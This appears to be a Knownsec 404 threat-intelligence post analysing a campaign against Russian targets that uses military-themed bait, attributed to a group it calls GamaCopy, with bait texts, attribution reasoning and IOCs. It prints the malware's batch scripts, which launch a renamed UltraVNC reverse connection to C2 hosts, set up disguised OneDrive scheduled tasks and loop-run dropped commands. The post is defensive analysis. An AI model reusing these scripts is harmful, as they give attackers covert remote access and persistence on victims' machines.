


# Love and hate under war: The GamaCopy organization, which imitates the Russian Gamaredon, uses military — related bait to launch attacks on Russia

 [medium.com/@knownsec404team/love-and-hate-under-war-the-gamacopy-organization-which-imitates-the-russian-gamaredon-uses-560ba5e633fa](https://medium.com/@knownsec404team/love-and-hate-under-war-the-gamacopy-organization-which-imitates-the-russian-gamaredon-uses-560ba5e633fa)

January 21, 2025



Knownsec 404 team

--

**Author : Knownsec 404 Advanced Threat Intelligence team****Date: January 21, 2025****中文版 :**

Recently, our team discovered attack samples targeting Russian-speaking targets during threat hunting. In addition, another related sample was also identified. Both samples follow the same operation process and use the same bait theme.

Through the analysis and association of the samples, the following characteristics are presented in this sample:

1. Initiate attacks by using content related to military facilities as bait.
2. Use the 7z self — extracting program (SFX) to release and load subsequent payloads.
3. Use the open — source tool UltraVNC for subsequent attack behaviors.
4. The TTP (Tactics, Techniques, and Procedures) of this organization imitates that of the Gamaredon organization which conducts attacks against Ukraine.

In the context of the ongoing Russia-Ukraine conflict, the attackers used the content related to military facilities as bait to launch attacks using open source tools, which undoubtedly wanted to hide themselves through the “fog of war”. By tracing the source of the sample, we have associated it with Core Werewolf, a group that has launched multiple attacks against Russia. As is well known, there is another interesting pair of APT attacks that love-hate relationship in the South Asian region, namely sidewinder and sidecopy. The discovered attack activity this time mimics the Gamaredon organization that attacks Ukraine, so it can be named GamaCopy.

At the same time, our team also noticed that multiple historical samples of the same type were attributed to the Gamaredon organization by other security vendors. Obviously, this is a successful false flag operation by the organization that has deceived some vendors who have not conducted in-depth analysis. This article analyzes this question in detail as follows:

## 1. Sample analysis

The attacker provided information about the condition and location of Russian armed forces facilities, among which the bait document in Sample 1 as follows:

Выписка  
из осведомленности ВСУ о состоянии и положении объектов ВС РФ  
по состоянию на 23.08.2024 г.

Получена информация об угрозах безопасности участвующей в специальной военной операции группировки войск.  
Противник осведомлен о дислокации подразделений Вооруженных Сил Российской Федерации:

Дата	Объект	Район	X	Y
21.08.24	Скопление ВВТ			
21.08.24	Скопление л/с			
21.07.24	Орудие/миномет на огневой позиции			
22.08.24	Орудие/миномет на огневой позиции			
22.08.24	Укрытие для ВВТ			
22.08.24	Пеленг Р-187 "Азарт"			
21.07.24	Скопление л/с			

The bait document in Sample 2 is as follows:

Выписка  
из осведомленности ВСУ о состоянии и положении объектов ВС РФ  
по состоянию на 19.08.2024 г.

Получена информация об угрозах безопасности участвующей в специальной военной операции группировки войск.  
Противник осведомлен о дислокации подразделений Вооруженных Сил Российской Федерации:

Дата	Объект	Район	X	Y
17.08.24	Скопление ВВТ			
18.08.24	Скопление л/с			
19.08.24	Скопление ВВТ			
19.08.24	Укрытие для ВВТ			
18.08.24	Скопление л/с			
18.08.24	Скопление ВВТ			

Taking Sample 1 as an example, when opened in the # mode of 7z, you can see the SFX related files contained within it:

名称	大小	修改时间	类型	注释	偏移
1.7ZSfxMod_x86.exe	106 496	2012-12-30 1...	PE	7z Setup SFX ...	0
2	10 239				106 496
3.7z	999 152		7z		116 735

File 2 is the SFX self-extracting installation script, which contains numerous character comments and includes real running statements. Its main function is to run 2128869258671564.cmd (copied from 2128869258671564).

2128869258671564.cmd is a bat script that uses setlocal enabledelayedexpansion to set local as a delay extension (used to obfuscate subsequent script content and increase static analysis difficulty)

The script content before obfuscation is as follows:

Seebug

After obfuscating the variables, the script is as follows:

```
copy "Ki58j08O58F68M58q2.Pq87G87O97o67r27Y9" "svod.pdf" & start "" "%CD%\svod.pdf"
timeout /t 4
taskkill /f /im OneDrivers.exe
copy "yC61y51v51g71p61U4.Eb21h11U11Z31P71F8" "OneDrivers.exe"
timeout /t 1
copy "1C32A32W52T12R02u1.uZ94Y64M14m54z84J3" "UltraVNC.ini"
start "" %TEMP%\OneDrivers.exe
timeout /t 8
start "" %TEMP%\OneDrivers.exe -autoreconnect -id:%COMPUTERNAME%_SVOD_4797 -connect fmsru.ru:443
timeout /t 1
copy "qK71V01W41S41101f3.bg44f24K74r64P14Y9" "conhost.exe"
timeout /t 2
:loop
if exist "%TEMP%\10277635.cmd" (
    cmd /c "%TEMP%\10277635.cmd"
    timeout /t 1200
    goto :loop
) else (
    timeout /t 60
    goto :loop
)
```



The main functions of the script include:

1. Copy Ki58j08O58F68M58q2. PQ87G87O97o67r27Y9 to svod. pdf and run it.
2. Copy yC61y51v51g71p61U4. Eb21h11U11Z31P71F8 to OneDrivers. exe.
3. Copy 1C32A32W52T12R02u1.uZ94Y64M14m54z84J3 to UltraVNC.ini.
4. End the OneDrivers. exe process that is already running on the host and rerun OneDrivers. exe.

In fact, the "OneDrivers. exe" mentioned earlier is the main executable of the open-source remote desktop tool UltraVNC. Attackers rename it as a common process name in the system and connect it to a specified command server for the purpose of disguising themselves. This helps reduce the vigilance of victims to a certain extent.



## 2. Attribution Analysis

Based on the information obtained from APT organizations, the attack sample may belong to two APT organizations: Gamaredon or GamaCopy.

Gamaredon, also known as Shuckworm, Armageddon, and Primitive Bear, has been targeting Ukraine's military, non-governmental organizations, judiciary, law enforcement agencies, and non-profit organizations since 2013.

GamaCopy was first discovered in June 2023 and has launched multiple cyberattacks against Russia's defense and critical infrastructure sectors by mimicking Gamaredon's TTPs. It is believed that the organization has been active since at least August 2021.

Gamaredon has repeatedly utilized 7z-SFX documents and UltraVNC in previous attack activities. After analysis, we found that the entire attack chain of Gamaredon using UltraVNC has significant differences from the sample discovered this time. Gamaredon often releases and loads the final UltraVNC through macros, and uses VBS scripts multiple times in the attack chain. For example, in early 2022, foreign security vendors exposed a Gamaredon attack on Ukraine, which downloaded subsequent payloads through VBS scripts from multiple planned tasks, including an example of installing UltraVNC using 7z-SFX[1]. At the same time, we found that Gamaredon used port 5612 more frequently when using UltraVNC, rather than port 443 used in this sample.

So, does this attack sample belong to the GamaCopy organization? From the initial exposure of BI.ZONE [2], the structure and code of this sample show considerable overlap with GamaCopy's tactics. For example, using 7z-SFX documentation to install and execute UltraVNC, using port 443 to connect to the server, and using a large number of delay extension variables to increase code complexity.

<pre>@echo off setlocal enabledelayedexpansion set df17v57P47w77W9709=%COMPUTERNAME% set kt54j94z44e14t44h8=0503 set Vh09049t69g29q79r6=01tr set mx00m89T2804800Z3=awhC set XQ43J73w3k33v3386=ini set MP80d70V50N90a60S5=co set Jq88H58B98D68028n6=ane set on70p50J00j80Q40Z9=ct set mm14E74R44Y44x24e1=prot set ZW62q72o12U22122Y3=neftparkstroy.ru set fV85U45o55t05095o9=exe set PG01B31P11R81p51M7=pdf set lD86p06d86e46V66g0=autore set iC53b43R630k3153K2=443 set CR24e24a44B14E24o4=OneDrivers set Ok06d36g56l36m66u0=co set wL56G26l96B66l96J4=nhost set dm54R04894P94K94e6=TEMP%463902849.cmd timeout /t 1 copy "wb33Z7305j38303D9.hm89k99r89u49u99o3" "%mm14E74R44Y44x24e1.%PG01B31P11R81p51% timeout /t 2 taskkill /f /im %CR24e24a44B14E24o4%.%fV85U45o55t05095o9% copy "HV00p80100Q60f90E0.cu62V12J92w82h02G4" "%CR24e24a44B14E24o4%.%fV85U45o55t05095% timeout /t 2 copy "NE97E87u87d17117T6.ca51k91p01Q91K21N5" "%Vh09049t69g29q79r6%mx00m89T28048H08Z% start "" %TEMP%\%CR24e24a44B14E24o4%.%fV85U45o55t05095o9% -%lD86p06d86e46V66g0%MP80% %kt54j94z44e14t44h8% -%MP80d70V50N90a60S5%Jq88H58B98D68028n6%on70p50J00j80Q40Z9% timeout /t 2 copy "PA77U87G07e07C77S4.Je62d82a62k82y52j2" "%Ok06d36g56l36m66u0%wL56G26l96B66l96J4% timeout /t 3 :proto if exist "%dm54R04894P94K94e6%" ( cmd /c "%dm54R04894P94K94e6%" timeout /t 1200 goto :proto ) else {</pre>	<pre>@echo off setlocal enabledelayedexpansion set Jg50X20A20D90d30Y10840D50N90o80z40N10r20x30W10T8=%COMPUTERNAME% set qG37I07N17137e87U17q07e47k37Z57a87a17G37j17I37T0=%RANDOM% set X031z1G41061x21K91Z31v21j11n91k11E41X81F41c51Q3=resume set W57187m57R47f17147e67t07q87B97057u87p67J67G97x0=doc set z849c79d89y39r59G59v99R29V49D69v39F29U79n89m49y6=Tuda set zr20A30Y70Y40870v70E60h00j50R50i60A10k70F00e50Y9=autore set Wo78F18S28y38B38018n68d98C48X38m58D68X08J58Z88Y3=connect set xa48v38e68c28F88E48Z18118T68F68M48n88v18K28o78m8=443 set av75U65T35m05a35j65z35S95u05A75F25V75X95X95o15v9=infovesty.ru set cV72T42A52Y72f72g62w52i62o82b32z92D92u12Y52I12M4=exe schtasks /create /f /tn "OneDrive Purge Task-S-1-5-21-3177791385" /tr "taskkill /f /im %z849% %cV72T42A52Y72f72g62w52i62o82b32z92D92u12Y52I12M4%" /sc daily /st 09:02 timeout /t 2 copy /y "%CD%\fo28188078028y48178x30Y08h88J68z18p08R38d48n88D8.DX284bF14z44D24N44K64F64Z94t% %X031z1G41061x21K91Z31v21j11n91k11E41X81F41c51Q3%.%W57187m57R47f17147e67t07q87B97057u87p67% timeout /t 4 start "" "%CD%\%X031z1G41061x21K91Z31v21j11n91k11E41X81F41c51Q3%.%W57187m57R47f17147e67% copy /y "%y016r46P46L16N86S16r96t56V06X36q16n06w46U76p26T5.t044g24u44e84m54U64V24E14Y54R14t14% %z849c79d89y39r59G59v99R29V49D69v39F29U79n89m49y6%.%cV72T42A52Y72f72g62w52i62o82b32z92D92u12% schtasks /create /f /tn "OneDrive Init Task-I-2-5-22-8712003127" /tr "%HOMEDRIVE%\HOMEPATH%\ %z849c79d89y39r59G59v99R29V49D69v39F29U79n89m49y6%.%cV72T42A52Y72f72g62w52i62o82b32z92D92u12% taskkill /f /im %z849c79d89y39r59G59v99R29V49D69v39F29U79n89m49y6%.%cV72T42A52Y72f72g62w52i62% copy /y "UltraVNC.ini" "UltraVNC.ini" start "" "%CD%\%z849c79d89y39r59G59v99R29V49D69v39F29U79n89m49y6%.%cV72T42A52Y72f72g62w52i62% timeout /t 4 schtasks /create /f /tn "OneDrive Update Task-U-3-5-23-6820155392" /tr "%HOMEDRIVE%\HOMEPATH% %z849c79d89y39r59G59v99R29V49D69v39F29U79n89m49y6%.%cV72T42A52Y72f72g62w52i62o82b32z92D92u12% zr20A30Y70Y40870v70E60h00j50R50i60A10k70F00e50Y9=Wo78F18S28y38B38018n68d98C48X38m58D68X08J% Jg50X20A20D90d30Y10840D50N90o80z40N10r20x30W10T8%.%qG37I07N17137e87U17q07e47k37Z57a87a17G37% %Wo78F18S28y38B38018n68d98C48X38m58D68X08J58Z88Y3%.%av75U65T35m05a35j65z35S95u05A75F25V75X95% %xa48v38e68c28F88E48Z18118T68F68M48n88v18K28o78m8% /nc daily /st 09:04 start "" "%CD%\%z849c79d89y39r59G59v99R29V49D69v39F29U79n89m49y6%.%cV72T42A52Y72f72g62w52i62% %zr20A30Y70Y40870v70E60h00j50R50i60A10k70F00e50Y9=Wo78F18S28y38B38018n68d98C48X38m58D68X08J% %qG37I07N17137e87U17q07e47k37Z57a87a17G37j17I37T0%.%Jg50X20A20D90d30Y10840D50N90o80z40N10r20% %Wo78F18S28y38B38018n68d98C48X38m58D68X08J58Z88Y3%.%av75U65T35m05a35j65z35S95u05A75F25V75X95% %xa48v38e68c28F88E48Z18118T68F68M48n88v18K28o78m8% timeout /t 2 exit</pre>
--	--

In addition, we noticed that the bait documents in this sample are military facilities and deployment related. In the context of the current Russia-Ukraine conflict, such documents are sensitive and interesting from the perspective of defense and attack. However, after we analyzed the proportion of languages used in the past bait documents of the two organizations, we found that Gamaredon has predominantly used Ukrainian-language bait, while GamaCopy mainly used Russian-language bait on the contrary.

For example, sample bait targeting personnel related to defense policy at the Russian Ministry of Foreign Affairs:

# П Р И К А З

## НАЧАЛЬНИКА ГЛАВНОГО УПРАВЛЕНИЯ ВОЕННОЙ ПОЛИЦИИ МИНИСТЕРСТВА ОБОРОНЫ РОССИЙСКОЙ ФЕДЕРАЦИИ

« 09 » октября 2019 г. № 159

г. Москва

**О порядке проведения проверок и оценки состояния работы по розыску  
военнослужащих, уклоняющихся от прохождения военной службы,  
а также содействия органам внутренних дел Российской Федерации  
в розыске военнослужащих, самовольно оставивших воинской части  
или места службы**



An attack using internal orders of one of Russia's largest joint-stock companies as bait:



ОТКРЫТОЕ АКЦИОНЕРНОЕ ОБЩЕСТВО  
«РОССИЙСКИЕ ЖЕЛЕЗНЫЕ ДОРОГИ»  
(ОАО «РЖД»)

### РАСПОРЯЖЕНИЕ

28 сентября 2021 г.

Москва

№ 2106/п

**Об утверждении плана ОАО «РЖД» по противодействию  
коррупции на 2021 – 2024 годы**



### 3. Summary

---

Based on the above analysis, from the perspectives of code similarity, language usage in bait documents, and port assets, it is more inclined to attribute the attack samples discovered in this case to the GamaCopy organization. Since its exposure, this organization has frequently mimicked the TTPs used by the Gararedon organization and cleverly used open-source tools as a shield to achieve its own goals while confusing the public.

### 4. IOC

---

Hash:

- c9ffc90487ddcb4bb0540ea4e2a1ce040740371bb0f3ad70e36824d486058349
- a9799ed289b967be92f920616015e58ae6e27defaa48f377d3cd701d0915fe53
- afcbaae700e1779d3e0abe52bf0f085945fc9b6935f7105706b1ab4a823f565f
- 2da473d1f510d0ddbae074a6c13953863c25be479acedc899c5529ec55bd2a65
- 2b2da38b62916c448235038f09c51f226d96087df531b9a508e272b9e87c909d
- f583523bba0a3c27e08ebb4404d74924b99537b01af5f35f43c44416f600079e

C2:

- nefteparkstroy.ru[:]443
- fmsru.ru[:]443

REF :

1. <https://www.security.com/threat-intelligence/shuckworm-gamaredon-espionage-ukraine>
2. <https://bi.zone/expertise/blog/core-werewolf-protiv-opk-i-kriticheskoy-infrastruktury/>